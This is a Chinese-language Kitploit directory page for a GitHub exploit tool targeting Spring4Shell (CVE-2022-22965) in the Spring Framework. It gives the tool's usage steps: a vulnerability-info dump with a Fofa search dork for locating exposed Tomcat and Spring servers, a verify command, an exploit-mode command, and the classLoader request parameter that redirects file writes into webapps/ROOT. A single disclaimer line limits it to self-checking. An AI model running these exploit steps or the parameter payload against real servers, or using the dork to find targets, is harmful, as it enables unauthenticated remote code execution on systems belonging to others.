Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-22965 — Spring4Shell (CVE-2022-22965) | Kitploit
工具/GitHubGitHub/zer0yu/cve-2022-22965
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队
GitHubzer0yu/cve-2022-22965

CVE-2022-22965

Spring4Shell (CVE-2022-22965)

查看仓库
1214年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-22965

Spring4Shell (CVE-2022-22965)

使用方法

1. 显示信息

root@kitploit:~
❯ go run main.go -s                                               
[INF] VulnInfo:
{
  "Name": "CVE-2022-22965",
  "VulID": "nil",
  "Version": "1.0",
  "Author": "",
  "VulDate": "2022-03-30",
  "References": [
    "https://nosec.org/home/detail/4983.html"
  ],
  "AppName": "Spring Core",
  "AppPowerLink": "https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement",
  "AppVersion": "All",
  "VulType": "RCE",
  "Description": "An unauthenticated attacker can use this vulnerability to perform remote arbitrary code execution. The vulnerability is widespread in the Spring framework and derived frameworks, and JDK 9.0 and above are affected.",
  "Category": "REMOTE",
  "Dork": {
    "Fofa": "app=\"APACHE-Tomcat\" || app=\"vmware-SpringBoot-framework\" || app=\"vmware-SpringBoot-framework\" || app=\"vmware-Spring-Batch\" || app=\"vmware-Spring-framework\" || app=\"vmware-Spring-Security\"",
    "Quake": "",
    "Zoomeye": "",
    "Shodan": ""
  }
}%     

2. 验证

root@kitploit:~
echo http://127.0.0.1:8181/ | go run main.go -v -t 20
http://127.0.0.1:8181/

3. 利用

root@kitploit:~
echo http://127.0.0.1:8181/ | go run main.go -m exploit -v

可能需要修改文件上传路径,默认路径为 "webapps/ROOT"

root@kitploit:~
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT/

免责声明

此过程仅用于安全自检,请自觉遵守当地法律。

下载工具